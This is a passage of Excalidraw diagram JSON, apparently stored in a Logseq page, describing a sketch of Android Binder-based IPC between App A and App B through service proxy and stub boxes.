\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[92.578,-0.5]]},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":965757212,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"vOf_ir94eZopGRSRNiKI4\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":368.4894576416016,\\logseq____"y\\logseq____":671.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":36.739959716796875,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":675200164,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Call\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"0dkwe3K9r9LZm4CjbjZsX\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Call\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":1570907172,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"gcVasnzDktA7rF6hnEKGo\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":183.87694549560547,\\logseq____"y\\logseq____":658.5,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":147.33985900878906,\\logseq____"height\\logseq____":50,\\logseq____"seed\\logseq____":911684388,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Componentlogseq____<brlogseq____>(\\\\ne.g., Activity)\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"RmSNHrZx-5HsBqvO4gvS1\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Componentlogseq____<brlogseq____>(e.g., Activity)\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":43},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":1612488732,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"zBlQBVILZnpOX-ayHR-1y\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":459.7803955078125,\\logseq____"y\\logseq____":671,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":155.579833984375,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1926049444,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"B Service Proxy\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"hVhkMeB2zSvUs5XZN44IZ\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"B Service Proxy\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":7,\\logseq____"versionNonce\\logseq____":875360804,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"6RD6wvzqGlMleMVzwDwlB\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":716.9921875,\\logseq____"y\\logseq____":657.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":247.328125,\\logseq____"height\\logseq____":52.5,\\logseq____"seed\\logseq____":172534692,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"R2cszfXRkq3ByDZA8FQKW\\logseq____"}],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":898760612,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"R2cszfXRkq3ByDZA8FQKW\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":755.116340637207,\\logseq____"y\\logseq____":671,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":171.07981872558594,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":905427492,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Binder-based IPC\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"6RD6wvzqGlMleMVzwDwlB\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Binder-based IPC\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":6,\\logseq____"versionNonce\\logseq____":347348260,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"OQ7xGhfrlxvlJjYGfoY1A\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":642.9924375,\\logseq____"y\\logseq____":684.5,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":88.12500000000006,\\logseq____"height\\logseq____":0.5,\\logseq____"seed\\logseq____":1270146340,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"hVhkMeB2zSvUs5XZN44IZ\\logseq____",\\logseq____"focus\\logseq____":0.09306445850139866,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"6RD6wvzqGlMleMVzwDwlB\\logseq____",\\logseq____"focus\\logseq____":-0.050134234272839404,\\logseq____"gap\\logseq____":1},\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[24.000000000000057,-1],[87.12500000000006,-1]]},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":6,\\logseq____"versionNonce\\logseq____":1443018524,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"kAYnxE0sBnAC9s6sOCJoE\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":952.1954375,\\logseq____"y\\logseq____":684.5,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":88.125,\\logseq____"height\\logseq____":0.5,\\logseq____"seed\\logseq____":899981476,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"6RD6wvzqGlMleMVzwDwlB\\logseq____",\\logseq____"focus\\logseq____":0.07082698785494419,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"cYBC0eZBIJWdPBm0_KEwZ\\logseq____",\\logseq____"focus\\logseq____":-0.053894654289099723,\\logseq____"gap\\logseq____":1},\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[37.125,-1],[87.125,-1]]},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":300,\\logseq____"versionNonce\\logseq____":733834268,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"C0XrkxRO7AWjP9M2xwj0q\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":916.6997767857144,\\logseq____"y\\logseq____":363.9285714285717,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":761.4375,\\logseq____"height\\logseq____":162,\\logseq____"seed\\logseq____":1626522268,\\logseq____"groupIds\\logseq____":[\\logseq____"-bce69fcqBdjRLSwwsqMA\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"T3YjotWHKmU0XAZnZxuob\\logseq____"}],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":301,\\logseq____"versionNonce\\logseq____":1509001372,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"T3YjotWHKmU0XAZnZxuob\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1268.7285548618863,\\logseq____"y\\logseq____":368.9285714285717,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":57.37994384765625,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1854741532,\\logseq____"groupIds\\logseq____":[\\logseq____"-bce69fcqBdjRLSwwsqMA\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"App B\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"C0XrkxRO7AWjP9M2xwj0q\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"App B\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":302,\\logseq____"versionNonce\\logseq____":1416500508,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"l1QvNgyVWi9rSs9iEZ-Y9\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":941.6997767857144,\\logseq____"y\\logseq____":418.6785714285717,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":196.359375,\\logseq____"height\\logseq____":52.5,\\logseq____"seed\\logseq____":1834590492,\\logseq____"groupIds\\logseq____":[\\logseq____"-bce69fcqBdjRLSwwsqMA\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"ipTHVwzP8JW96DtBan76n\\logseq____"},{\\logseq____"id\\logseq____":\\logseq____"Fu0vwt5yGgnqpNZyJZV8x\\logseq____",\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____"},{\\logseq____"id\\logseq____":\\logseq____"vXQSsMfv5tOyxKdt86Hqa\\logseq____",\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____"}],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":301,\\logseq____"versionNonce\\logseq____":1154112156,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"ipTHVwzP8JW96DtBan76n\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":966.3595439365934,\\logseq____"y\\logseq____":432.4285714285717,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":147.0398406982422,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1607207580,\\logseq____"groupIds\\logseq____":[\\logseq____"-bce69fcqBdjRLSwwsqMA\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"B Service Stub\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"l1QvNgyVWi9rSs9iEZ-Y9\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"B Service Stub\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":301,\\logseq____"versionNonce\\logseq____":1348249372,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"XydPYWIN2rTlE1PQHV7U8\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1188.0591517857144,\\logseq____"y\\logseq____":398.9285714285717,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":465.078125,\\logseq____"height\\logseq____":92,\\logseq____"seed\\logseq____":1681857948,\\logseq____"groupIds\\logseq____":[\\logseq____"-bce69fcqBdjRLSwwsqMA\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"lXgc4vsOp8OcQVzJinPlF\\logseq____"},{\\logseq____"id\\logseq____":\\logseq____"Fu0vwt5yGgnqpNZyJZV8x\\logseq____",\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____"}],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":310,\\logseq____"versionNonce\\logseq____":549097500,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"lXgc4vsOp8OcQVzJinPlF\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1274.85837663923,\\logseq____"y\\logseq____":419.9285714285717,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":291.47967529296875,\\logseq____"height\\logseq____":50,\\logseq____"seed\\logseq____":2141738780,\\logseq____"groupIds\\logseq____":[\\logseq____"-bce69fcqBdjRLSwwsqMA\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Stub Implementation\\\\nint foo(String) { return 42; }\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"XydPYWIN2rTlE1PQHV7U8\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Stub Implementation\\\\nint foo(String) { return 42; }\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":43},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":942,\\logseq____"versionNonce\\logseq____":1484784164,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"Fu0vwt5yGgnqpNZyJZV8x\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1139.0591517857144,\\logseq____"y\\logseq____":445.4285714285717,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":49.5,\\logseq____"height\\logseq____":0.5,\\logseq____"seed\\logseq____":1649501852,\\logseq____"groupIds\\logseq____":[\\logseq____"-bce69fcqBdjRLSwwsqMA\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605956977,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"l1QvNgyVWi9rSs9iEZ-Y9\\logseq____",\\logseq____"focus\\logseq____":0.09069469130902462,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"XydPYWIN2rTlE1PQHV7U8\\logseq____",\\logseq____"focus\\logseq____":0,\\logseq____"gap\\logseq____":1},\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[24,-0.5],[48.5,-0.5]]},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":462,\\logseq____"versionNonce\\logseq____":248621604,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"SifWGlqATymL1TkNJYt_s\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":76.86272321428578,\\logseq____"y\\logseq____":362.07142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":673.9375,\\logseq____"height\\logseq____":160,\\logseq____"seed\\logseq____":456658716,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"2a7Wv2dJCPu1zi9EWsmoh\\logseq____"}],\\logseq____"updated\\logseq____":1729605917732,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":463,\\logseq____"versionNonce\\logseq____":1658897828,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"2a7Wv2dJCPu1zi9EWsmoh\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":385.8515003749303,\\logseq____"y\\logseq____":367.07142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":55.95994567871094,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":122370204,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605917732,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"App A\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"SifWGlqATymL1TkNJYt_s\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"App A\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":463,\\logseq____"versionNonce\\logseq____":763392292,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"O4b2GfmjC7EV1dx0zEJ73\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":101.86272321428578,\\logseq____"y\\logseq____":397.07142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":165.046875,\\logseq____"height\\logseq____":90,\\logseq____"seed\\logseq____":1746914204,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logse